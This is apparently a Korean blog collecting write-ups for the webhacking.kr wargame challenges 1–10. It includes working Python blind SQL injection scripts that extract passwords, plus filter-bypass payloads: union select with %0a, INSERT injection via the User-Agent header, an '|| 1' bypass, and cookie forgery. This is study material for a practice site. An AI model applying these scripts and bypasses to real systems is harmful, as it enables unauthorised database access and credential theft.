10번 문제를 접속하면 이상한게 나온다.




로또를 사라는거 같기도 하고...


처음에 크롬을 사용했는데 아무런 동작을 하지 않았다.


소스보기를 통하여 뭔지 분석을 해보자.


버튼을 클릭할 때 마다 posLeft 값이 1씩 증가하고 800이 되면 ?go=800으로 이동한다.


따라서 아래와 같이 임의적으로 ?go=800으로 접속해보았다.


맨 아래에 작게 no hack이라고 뜬다.


어떻게 풀란 말인가.


애초에 클릭했을때 이동을 안해서 ie를 사용해 문제를 풀어봐야겠다.





ie는 클릭했을때 O 표시가 옆으로 제대로 이동했기 때문에 개발자도구를 통해 left를 799로 바꿔주고 한번더 클릭 해주었다.



그리고 문제가 스르륵 풀렸다. 끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 12번  (0) 2016.11.13
webhacking.kr 11번  (0) 2016.11.13
webhacking.kr 10번  (0) 2016.11.12
webhacking.kr 9번  (0) 2016.11.12
webhacking.kr 8번  (0) 2016.11.11
webhacking.kr 7번  (0) 2016.11.11


9번 문제는 900점으로 2번째로 높은 배점이 있는 문제이다.


그럼 풀어보도록 하자.


접속하면 아래 처럼



1 2 3 <a> 태그가 있고, Password를 입력받는 input text가 있다.



1, 2, 3을 눌러보도록 하자.



GET 방식을 통해 no라는 파라미터로 값을 보내 줬을 떄의 결과이다.


1, 2는 사과, 바나나가 나오고 3이면 Secret이 나온다 Secret을 알아내면 되는거 같다.


힌트로 길이와, 컬럼이 주어졌으므로 no에 Blind Injection을 진행하면 문제를 풀 수 있을 것 같다.


따라서 아래와 같이 스크립트를 작성한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import urllib2, re
 
header = {'Cookie':'PHPSESSID=jeong0su'}
 
result = str()
subqry = "select 1".replace(' ','%20')
 
for i in range(120):
    temp = "0b0"
    for j in range(29):
        param = "(mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))"
 
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-09/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
        if re.findall('Access Denied', res):
            print 'Access Denied!'
            exit()
 
        if re.findall("Apple", res):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# Access Denied!



mid, lpad, bin, ord 함수를 사용 했을 때 필터링으로 인해 Access Denied!가 발생 하는 것 같다. 


따라서 어떤 문자열이 필터링하는지 no값에 넣어 확인해 본 결과


mid, bin, ord 함수를 필터링 한다.


mid함수의 경우 substr을 쓸 수 있기 때문에 필터링 우회를 할 수 있다.


ord함수의 경우 우회를 위해서 ascii, hex, conv 함수를 사용해 봤지만 전부 필터링 하고 있다.


여기서 아래와 같이 in을 사용하여 비교하는 방법이 생각났고 테스트 해본 결과 필터링에 문제 되는 것도 없었다.




('a'는 16진수로 0x61)


이제 no가 3일 경우에 id를 가져와야하는데 limit 함수를 사용할 수 없기 떄문에


if 문을 사용하여 blind injection 결과가 참일 때 no=3을 만들어줘서 no가 3일 경우의 id를 가져오는 방법을 선택했다.


따라서 완성 된 스크립트는 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib2, re, string
 
header = {'Cookie':'PHPSESSID=jeong0su'}
result = str()
subqry = "id"
 
for i in range(112):
    temp = "0b0"
    for j in string.printable:
        param = "(if(substr((" + subqry + ")," + str(i) + ",1)in(" + hex(ord(j)) + "),3,0))"
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-09/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
 
        if re.findall('Access Denied', res):
            print 'Access Denied!'
            exit()
 
        if re.findall("Secret", res):
            result += j
            break;
 
    print result
 
# result: alsrkswhaql



처음 화면에 나온 창에 결과 값을 넣어주면 문제가 풀리게 된다.



끝!









'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 11번  (0) 2016.11.13
webhacking.kr 10번  (0) 2016.11.12
webhacking.kr 9번  (0) 2016.11.12
webhacking.kr 8번  (0) 2016.11.11
webhacking.kr 7번  (0) 2016.11.11
webhacking.kr 6번  (0) 2016.11.10

8번 문제를 접속해봅시다.



USER-AGENT 라고 뜨고 숫자가 뜨네요?


아직은 아무것도 모르니 HTML 소스를 확인해봅시다.



오! index.phps가 주석으로 써져있네요.


php 소스를 확인할 수 있겠군요.


확인해봅시다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?
 
$agent=getenv("HTTP_USER_AGENT");
$ip=$_SERVER[REMOTE_ADDR];
 
$agent=trim($agent);
 
$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent);
 
$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";
 
$agent=strtolower($agent);
 
if(preg_match($pat,$agent)) exit("Access Denied!");
 
$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);
 
$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }
 
 
$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");
 
$ck=@mysql_fetch_array($q);
 
if($ck)
echo("hi <b>$ck[0]</b><p>");
if($ck[0]=="admin")
 
{
@solve();
@mysql_query("delete from lv0");
}
 
 
}
 
if(!$ck)
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
echo("<br><br>done!  ($count_ck[0]/70)");
}
 
 
?>



USER-AGENT 값을 가져와서 $agent 변수에 넣고 필터링 검사를 합니다.


검사를 통과해 단단해진 $agent값은 id를 가져오는 쿼리문에 들어가서 결과 값을 받아옵니다. [line 24]


id가 admin이 되면 풀리는 문제군요.


그 뒤로는 $agent, $ip, id를 insert 쿼리문을 통해 database에 데이터를 생성해주네요.


id가 고정적으로 guest이기 때문에 문제는 절대 풀 수 없을 것 같지만 insert 쿼리의 특징을 한가지 기억하면 풀 수 있습니다.


insert의 경우 values에 콤마를 사용하게 되면 아래와 같이 동시에 여러개의 데이터를 집어 넣을 수 있습니다.



따라서 USER-AGENT에 인젝션을 통하여 id가 admin인 계정을 만들 수 있습니다.


전체 쿼리는


insert into lv0(agent,ip,id) values('js','127.0.0.1','admin'),('jeong.su_dumy','$ip','guest')


입니다.


여기서 agent에 인젝션을 하는 거기 때문에


$agent에 들어가야할 값은 "js','127.0.0.1','admin'),('jeong.su_dumy"가 되겠네요!


프록시 툴을 사용하여 USER-AGENT를 아래와 같이 수정하여 전송해 보겠습니다.



그러면 이제 wehacking.kr 서버 database 안에


js 127.0.0.1 admin

jeong.su_dumy 127.0.0.1 guest


2개의 row가 동시에 추가 되었을 겁니다.


다시 js로 USER-AGENT를 변조하여 보내보겠습니다.



이렇게 요청을 하면 문제가 아래처럼 풀리게 됩니다.



끝!



'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 10번  (0) 2016.11.12
webhacking.kr 9번  (0) 2016.11.12
webhacking.kr 8번  (0) 2016.11.11
webhacking.kr 7번  (0) 2016.11.11
webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10

7번 문제를 접속 해봅시다.



관리자 페이지라고 써있네요.


auth를 눌러봅시다.



이런 Access_Denied!라고 뜨네요.


auth를 눌렀을때 패킷을 날린 것인지? 확인을 해보기 위해서 HTML 소스보기를 합니다.



auth 버튼을 눌렀을 때는 onclick event에 의해서 alert 메세지를 띄어 준거네요.


그러면서 2가지 힌트를 얻을 수 있습니다.


정녕 admin mode로 들어가고 싶으면 val 파라미터의 값이 2여야 한다.


index.phps 써 있는 걸 보니 소스를 확인 할 수 있겠군요.


우선 val 파라미터 값을 2로 바꿔서 접속해보도록 하죠. ㅎㅎ



역시 쉬운건 없습니다.


Access Denied! 이라고 뜨네요.


여기서 호기 심을 갖고서 val 값에 3을 한번 넣어보겠습니다.



"query error" 라고 뜨는걸 보니 database에 한번 들어갔다 나오는거 같군요.


이제 index.phps에 들어가서 소스를 한번 봅시다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<html>
    <head>
        <title>Challenge 7</title>
    </head>
 
    <body>
    <!--
        db에는 val=2가 존재하지 않습니다.
        union을 이용하세요
    -->
<?
    $answer = "????";
 
    $go=$_GET[val];
 
    if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
 
    $ck=$go;
 
    $ck=str_replace("*","",$ck);
    $ck=str_replace("/","",$ck);
 
    echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
 
    if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");
 
    if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }
 
    $rand=rand(1,5);
 
    if($rand==1)
        $result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
 
    if($rand==2)
        $result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
 
    if($rand==3)
        $result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
 
    if($rand==4)
        $result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
 
    if($rand==5)
        $result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
 
    $data=mysql_fetch_array($result);
    if(!$data[0]) { echo("query error"); exit(); }
    if($data[0]!=1 && $data[0]!=2) { exit(); }
 
 
    if($data[0]==1){
        echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
        alert('Access_Denied!')><p>");
        echo("<!-- admin mode : val=2 -->");
    }
 
    if($data[0]==2){
        echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
        alert('Congratulation')><p>");
        @solve();
    }
?>
    <!--
    index.phps
    -->
    </body>
</html>



소스 코드를 확인해보면 [line 14]에서 GET 메소드를 통해서 val의 값을 받고 $go라는 변수에 넣습니다.


$go는 여러가지 필터링을 지나쳐가며 단단해 집니다.


그리고 mysql_query로 사용이 되는거죠.


lv1이라는 테이블에서 lv이라는 컬럼명의 데이터를 가져오는데 맨 위에 힌트를 보면 lv=2인 것이 없다고 합니다.


우리는 따라서 union select를 사용하여 테이블에 없는 데이터를 만들어 줄 수 있습니다.


랜덤 함수를 사용하여 쿼리 모양을 다르게 하기 때문에 원하는 모양을 하나 생각해 줍시다.


저는 가장 간단한 1번으로 했어요.


그리고 나중에 새로고침 5번을 해주면 1번은 맞지 않을까요?


랜덤 결과가 1일 경우의 쿼리문을 보면 select lv from lv1 where lv=($go)라고 되어있습니다.


테이블에는 lv2가 없기 때문에 아래와 같이 union select 문을 사용하여 lv의 값이 2인 row를 임시적으로 만들 수 있습니다.

(union select에 대한건 구글에 검색하시면 자세히 나와요!)


자 그럼 완성 시킬 쿼리는 아래와 같습니다


select lv from lv1 where lv=(-1) union select 2;


lv1에 -1이라는 값이 없기 때문에 빨간색의 쿼리문까지 실행 했을 떄 return 되는 row는 아무것도 없습니다.


하지만 파란색 usnion select 2 쿼리를 추가해줌으로써 아래 사진과 같이 lv이 2인 row를 만들어 낼 수 있습니다.



사진과 똑같이 한번 해보세요!


자 그러면 $go 에 "-1) union select 2#"을 넣어주면 쿼리 완성이 되겠죠?


하지만 " " 스페이스바, %20을 필터링 하기 때문에 %0a를 넣어주어 우회 합니다.



하지만 필터링 되었을때 뜨는 메세지인 Access Denied!가 뜨네요.


필터링을 잘 살펴 보면 2라는 숫자를 못쓰게 해뒀습니다.


따라서 아래와 같은 쿼리를 사용할거에요.


select lv from lv1 where lv=(-1) union select (3-1)


3-1은 2이기 때문에 아래와 같은 결과가 나올 꺼에요!



따라서 $go 변수에, val 인자 값에


-1) union select (3-1


위와 같이 넣어주면 쿼리가 완성될 것 같네요!


물론 스페이스바는 %0a로 바꿔줘야 합니다.


따라서 아래와 같이 새로고침을 하다보면 문제가 풀리게 됩니다.



끝!



'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 9번  (0) 2016.11.12
webhacking.kr 8번  (0) 2016.11.11
webhacking.kr 7번  (0) 2016.11.11
webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10
webhacking.kr 4번  (0) 2016.11.09

6번 문제도 접속을 해봅시다.



힌트가 base64 인코딩이고 index.phps 가 있다네요.


즉 index.php의 소스를 볼 수 있습니다.


소스를 확인해보면 아래와 같이 크게 2개로 나누어 볼 수 있습니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php 
if(!$_COOKIE[user]) 
    $val_id="guest"
    $val_pw="123qwe"
 
    for($i=0;$i<20;$i++
    { 
        $val_id=base64_encode($val_id); 
        $val_pw=base64_encode($val_pw); 
 
    } 
 
    $val_id=str_replace("1","!",$val_id); 
    $val_id=str_replace("2","@",$val_id); 
    $val_id=str_replace("3","$",$val_id); 
    $val_id=str_replace("4","^",$val_id); 
    $val_id=str_replace("5","&",$val_id); 
    $val_id=str_replace("6","*",$val_id); 
    $val_id=str_replace("7","(",$val_id); 
    $val_id=str_replace("8",")",$val_id); 
 
    $val_pw=str_replace("1","!",$val_pw); 
    $val_pw=str_replace("2","@",$val_pw); 
    $val_pw=str_replace("3","$",$val_pw); 
    $val_pw=str_replace("4","^",$val_pw); 
    $val_pw=str_replace("5","&",$val_pw); 
    $val_pw=str_replace("6","*",$val_pw); 
    $val_pw=str_replace("7","(",$val_pw); 
    $val_pw=str_replace("8",")",$val_pw); 
 
    Setcookie("user",$val_id); 
    Setcookie("password",$val_pw); 
 
    echo("<meta http-equiv=refresh content=0>"); 
?>


id와 pw를 20번 base64 인코딩 하고 치환을 각각 분자들을 치환해서 cookie에 저장하네요.


쿠키를 확인해볼까요?



user, password에 각각 결과 값이 제대로 들어가 있네요.


2번째 부분을 볼까요?



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<? 
 
$decode_id=$_COOKIE[user]; 
$decode_pw=$_COOKIE[password]; 
 
$decode_id=str_replace("!","1",$decode_id); 
$decode_id=str_replace("@","2",$decode_id); 
$decode_id=str_replace("$","3",$decode_id); 
$decode_id=str_replace("^","4",$decode_id); 
$decode_id=str_replace("&","5",$decode_id); 
$decode_id=str_replace("*","6",$decode_id); 
$decode_id=str_replace("(","7",$decode_id); 
$decode_id=str_replace(")","8",$decode_id); 
 
$decode_pw=str_replace("!","1",$decode_pw); 
$decode_pw=str_replace("@","2",$decode_pw); 
$decode_pw=str_replace("$","3",$decode_pw); 
$decode_pw=str_replace("^","4",$decode_pw); 
$decode_pw=str_replace("&","5",$decode_pw); 
$decode_pw=str_replace("*","6",$decode_pw); 
$decode_pw=str_replace("(","7",$decode_pw); 
$decode_pw=str_replace(")","8",$decode_pw); 
 
 
for($i=0;$i<20;$i++
    $decode_id=base64_decode($decode_id); 
    $decode_pw=base64_decode($decode_pw); 
 
echo("<font style=background:silver;color:black>&nbsp;&nbsp;HINT : base64&nbsp;&nbsp;</font><hr><a href=index.phps style=color:yellow;>index.phps</a><br><br>"); 
echo("ID : $decode_id<br>PW : $decode_pw<hr>"); 
 
if($decode_id=="admin" && $decode_pw=="admin"
    @solve(6,100); 
 
 
?> 



쿠키에 있는 값을 가져와서 반대로 replace 해주고, base64 디코드를 해주네요. 


그리고 [line 34]에 문제 풀이 조건이 있습니다. decode한 id와 pw가 admin이면 풀리네요.


이런 문제들은 php를 그대로 사용하는게 좋습니다.


아래와 같이 주어진 encode 함수를 조금 수정하여 php 코드를 작성합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
    $val_id="admin";  
 
    for($i=0;$i<20;$i++
        $val_id=base64_encode($val_id);
 
    $val_id=str_replace("1","!",$val_id); 
    $val_id=str_replace("2","@",$val_id); 
    $val_id=str_replace("3","$",$val_id); 
    $val_id=str_replace("4","^",$val_id); 
    $val_id=str_replace("5","&",$val_id); 
    $val_id=str_replace("6","*",$val_id); 
    $val_id=str_replace("7","(",$val_id); 
    $val_id=str_replace("8",")",$val_id); 
 
    var_dump($val_id); 
?>


 이제 결과 값을 확인하면 아래와 같습니다.

(저는 apm_setup이 깔려있기 때문에 php를 바로 실행시킬 수 있습니다.)




이제 나온 결과 값으로 cookie를 수정해줍니다.




그러면 위와 같이 문제가 풀리죠! 끝!!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 8번  (0) 2016.11.11
webhacking.kr 7번  (0) 2016.11.11
webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10
webhacking.kr 4번  (0) 2016.11.09
webhacking.kr 3번  (0) 2016.11.09

오늘도 어김없이 씁니다. ㅠㅠ


문제를 들어가 보면 아래와 같은 화면이 나옵니다.



우리는 로그인할 아이디가 없음으로 가입을 하러 Join 버튼을 눌러보도록 하죠.




띠용???


그럼 로그인에서 인젝션을 하라는 건가?


로그인으로 넘어가 봅시다.


로그인은 정상적으로 뜨네요ㅎㅎ


아이디, 비밀번호를 넣어 봅시다.


아래와 같이 "Access Denied!"와 함께 "id is admin"이 뜨네요.





다시 아이디를 admin으로 넣어 봅시다.




비밀번호가 틀렸군요. "Wrong password"라고 뜨네요.


여기서 수상한 점을 2가지 찾아야합니다.


우선 join 버튼을 만들어 둔점.


경로를 보면 web-05/mem/login.php 인점.


보통 문제였으면 web-05/login.php 혹은 web-05/index.php 였을텐데..



혹여나 디렉토리 리스팅이 될까 web-05/mem/ 으로 들어가봅니다.



오 디렉토리 리스팅이 되는군요.

(사실 이건 눈속임이에요. index.php에서 분명 출력을ㅎㅎ)


디렉토리 리스팅이 궁금하신 분들은 검색한번 해주세요!



좋습니다.


그럼 join.php가 존재함을 알 수 있네요.


join.php로 접속해 봅시다.


아래와 같이 아무것도 뜨지 않네요.



HTML 소스를 쓱싹 볼까요?




으억 이게 무슨 안구태러일까요?


우리의 친구 jsbeautifier를 사용해봅시다.



특정 조건이 맞지 않으면 access denied 경고 메세지를 띄어주네요.


우리는 그냥 보라색 부분을 자바스크립트 콘솔에 붙여 넣을꺼에요.


분석하기 귀찮자나요ㅎㅎ


개발자도구를 켜서 console 탭에서 다음과 같이 소스를 붙여넣어 줍니다.



엔터를 뽝! 처주면 아래 처럼 검은 화면에서 마법이!!




자 이제 회원가입을 할 수 있게 된 것 같습니다. 


admin으로 가입을 해봅시다!



이럴수가 admin 아이디가 이미 있다고 하네요.


그래서 "admin "으로 가입을 해볼까? 라는 생각을 갖고 가입을 하려고 했지만 maxlength=5가 설정되어 있어서 5글자 이상을 쓰지 못합니다.


이때 우리는 2가지 방법으로 문제를 해결 할 수 있죠.


maxlength 값을 수정해주거나! 프록시 툴을 사용하여 값을 변조해주거나!


개발자 도구를 사용한 김에 아래와 같이 개발자 도구를 사용하여 maxlength 값을 6으로 바꿉니다.



그리고 아래와 같이 "admin "으로 가입을 하니 sign up 성공화면을 볼 수 있었습니다.




이제 가입을 완료 했으니 로그인을 하면 아래 처럼 아무것도 안보이지만 html 소스를 보면 문제를 풀었다고 뜹니다.




정말 자세하게 쓴거 같은데 끝!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 7번  (0) 2016.11.11
webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10
webhacking.kr 4번  (0) 2016.11.09
webhacking.kr 3번  (0) 2016.11.09
webhacking.kr 2번  (0) 2016.11.08

4번 문제를 접속하면 아래와 같이 ==으로 끝나는 Base64 인코딩 된 문자열이 나온다.





base32, base64로 인코딩 하는 경우 패딩(바이트 수 맞춰주기)을 위해서 뒤에 ==, = 혹은 아무것도 안붙는 경우가 있다.

(뒤에 ==이 붙은 것을 보고 base64로 인코딩 했구나를 생각할 수 있다.)

 

구글에 "base64 decode online"을 검색하던, python을 사용하던, 문자열을 디코딩 해보자!


python을 사용하는경우 인터프리터 창에


print "".decode('base64')


라고 치면 디코딩 된 문자열이 나온다.


디코딩한 결과는 아래와 같다!




"c4033bff94b567a190e33faa551f411caef444f2" 의 경우 40글자이고 소문자 알파뱃과 숫자로 구성되어 있는게 해쉬 같다.


그러하다!! SHA1 해쉬로 해쉬화 한 것 이다.


여기서 처음 공부하는 분들은 해쉬와, 암호화의 차이를 꼭 알고 넘어가길 바란다.


대표적인 암호화와 해쉬의 차이는 "해쉬는 복호화가 불가능하다."는 점이다. 


 

하지만 해쉬 또한 여러가지 문제가 있다.


레인보우 테이블에 취약하다던지...


따라서 해당 문자열을 


구글에 검색하면 어떤 문자열을 SHA1 했을 때 "c4033bff94b567a190e33faa551f411caef444f2" 이 값이 나오는지 알 수 있다.



결과는 "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3"이다.


마찬가지로 SHA1인거 같아서 다시 구글에 검색을 하면


 


"test"라는 결과가 나온다.


즉 test라는 문자열을 SHA1 알고리즘으로 2번 해쉬화 하고 base64로 인코딩 해주면


문제로 주어진 "YzQwMzNiZmY5NGI1NjdhMTkwZTMzZmFhNTUxZjQxMWNhZWY0NDRmMg==" 문자열이 되는 것이다.



따라서 조금 안전하게 시큐어코딩을 하려면 해쉬를 사용할 때 salt 값을 추가해서 사용해야한다.


password에 test를 넣어주면 아래와 같이 문제가 풀린다.






'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10
webhacking.kr 4번  (0) 2016.11.09
webhacking.kr 3번  (0) 2016.11.09
webhacking.kr 2번  (0) 2016.11.08
webhacking.kr 1번  (0) 2016.11.08

문제를 접속하면 Puzzle이 뚜둥 하고 나온다.



어렸을때 많이 해보았던 기억이 있다.

(숫자는 연속되게 색칠 됨을 의미한다.)



퍼즐을 풀면 아래와 같다.




퍼질을 풀고 gogo 버튼을 눌렀을때 틀리면 "No!" 라는 메세지가 출력되며 history.back(-1); 을 하고


맞으면 name을 입력할 수 있는 input text가 나온다.



이름을 쓰면 아래와 같이 입력한 name, answer, ip가 출력된다.




쿠키를 사용하지 않으며 입력했던 값이 지속적으로 남으니 데이터베이스에 insert 하는 것 같다.


name은 대소문자, 숫자 등이 들어간다.


answer 부분은 2진수 처럼 생겼다.



문자를 넣으려면 분명 쿼터를 사용해야하고 SQL 인젝션을 막기 위해 magic_quotes_gpc 혹은 addslashes 함수를 사용 했을꺼라 추측하고


2진수, 숫자, 쿼터가 필요없는 answer 부분을 공략해보았다.



answer 부분에서 역시나 몇몇 문자열을 필터링 했고 아래와 같이 || 를 사용하여 or 연산자의 필터링을 우회 할 수 있었다.



위와 같이 mysql에서 사용되는 비트연산자를 필터링 할 때 각각에 해당하는 특수문자를 사용하여 우회 할 수 있다.





따라서 POST의 파라미터로 전송되는 answer값에 " || 1"을 덧 붙여주면 아래와 같이 answer에 Auth Key가 나온다.


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10
webhacking.kr 4번  (0) 2016.11.09
webhacking.kr 3번  (0) 2016.11.09
webhacking.kr 2번  (0) 2016.11.08
webhacking.kr 1번  (0) 2016.11.08

2번문제 처음 접속을 하면 홍길동이 나타난다!



페이지를 살펴보면서 몇 가지 특이사항을 살펴 보자면



1. index.php 페이지의 HTML 소스를 보면 날짜와 시간이 주석으로 출력된다.





2. 쿠키에 time란 값이 존재한다.

(1번과 관련이 있을까?)





3. 게시판이 하나 존재하고 비밀글이 한개가 있다.

(비밀번호를 알아내라는 건가?)





4. admin 페이지가 존재한다.

(admin 비밀번호도 알아내야하나?)




여러개의 특이점을 보고 1번 문제처럼 쿠키를 건들여 볼까? 라는 생각을 갖고 쿠키에 다른 값들을 넣어보자.


쿠키에 있는 time은 왠지 Unix Time Stamp 처럼 생겼다.

(모르면 검색!)


우선 time 값에 아무것도 넣지 않았을 때 아무런 변화가 없다.

혹시 모르니깐 HTML 소스도 보자. 

그대로다.


time 값은 Unix Time Stamp로 정수니깐 0을 넣고 새로고침을 해본다.

아무런 변화가 없다.

HTML 소스도 그대로다.


이번에는 time=1을 넣고 새로고침을 해본다.

아무런 변화가 없다.

HTML 소스코드를 보니 주석으로 시간을 출력해주던 부분의 값이 수상하다!





뜬근 없이 2070년이 나온다. 많이많이 매우매우 수상하다!



특이사항을 볼 때 게시판의 비밀번호, admin 계정의 비밀번호를 알아야 할 것 같은 느낌과 0과 1이 결과가 다르다는걸 파악했을때는?


Blind SQL Injection


을 떠올려야한다.



Cookie에 있는 값도 SQL 쿼리문 안에 들어갈 수 있다. 언제든지 개발자의 마음이니깐~



따라서 아래의 Blind SQL Injection python 스크립트를 통해 게시판의 비밀번호를 알아 낼 수 있다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib2, re
 
result = str()
subqry = "select Password from FreeB0aRd".replace(' ','%20')
 
for i in range(120):
    temp = "0b0"
    for j in range(29):
        param = "(mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))"
        header = {'Cookie':'time=' + param + '; PHPSESSID=jeong0su'}
 
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-02/index.php', headers=header)
        res = urllib2.urlopen(req)
 
        if re.findall("<!--2070-01-01 09:00:01-->", res.read()):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# result: 7598522ae



게시판에 있는 게시글의 비밀번호는 7598522ae 였다!


게시글을 확인 해본 결과 파일 하나를 주는데 암호가 걸려있다.





admin 페이지를 접속하면 manual.html을 획득 할 수 있는 비밀번호가 있으려나?


아래서의 python 스크립트로 Blind SQL Injection을 통해서 관리자 페이지의 비밀번호를 얻어보자!



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib2, re
 
result = str()
subqry = "select Password from admin".replace(' ','%20')
 
for i in range(120):
    temp = "0b0"
    for j in range(29):
        param = "(mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))"
        header = {'Cookie':'time=' + param + '; PHPSESSID=jeong0su'}
 
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-02/index.php', headers=header)
        res = urllib2.urlopen(req)
 
        if re.findall("<!--2070-01-01 09:00:01-->", res.read()):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# result: 0nly_admin



admin 페이지의 비밀번호는 0nly_admin이고 접속하면 manual의 비밀번호를 아래와 같이 알려준다.





메뉴얼 패스워드를 압축 비밀번호로 입력하면 압축이 풀리고 html을 브라우저로 열어보면 auth key가 있다!






'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10
webhacking.kr 4번  (0) 2016.11.09
webhacking.kr 3번  (0) 2016.11.09
webhacking.kr 2번  (0) 2016.11.08
webhacking.kr 1번  (0) 2016.11.08

문제에 들어가면 검정색 바탕에 뚜둥!

Hint : 쿠키변조

--------------------------------------

php는 서버설정( php.ini, .htaccess )에

따라서 phps로 소스를 확인할 수 있다.

(위 내용은 28번 문제에서 다시보자)



따라서 '/index.phps' 로 접속하여 소스를 확인해보자!

------------------------------------------------------------------------------------


소스를 분석해보자면...



5보다 크면 문제가 풀리지만! 6보다 같거나 크면 user_lv=1이 된다. 


-----------------------------------------------------------------------


문제를 잘보면 힌트가 있다!

숫자 뿐만아니라 .도 사용을 할 수 있기 때문에

소숫점을 생각해볼수가 있다!


 user_lv = 5.5 

다음 같은경우 solve조건에 만족하므로 문제가 풀리게 된다!

------------------------------------------------------


solve

주소창에 아래와같이 입력 후 새로고침하면 쿠키가 변경 

javascript:document.cookie="user_lv=5.5" 



ps. 사실 2014년 11월 19일에 작성한거 가져왔다.

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10
webhacking.kr 4번  (0) 2016.11.09
webhacking.kr 3번  (0) 2016.11.09
webhacking.kr 2번  (0) 2016.11.08
webhacking.kr 1번  (0) 2016.11.08

+ Recent posts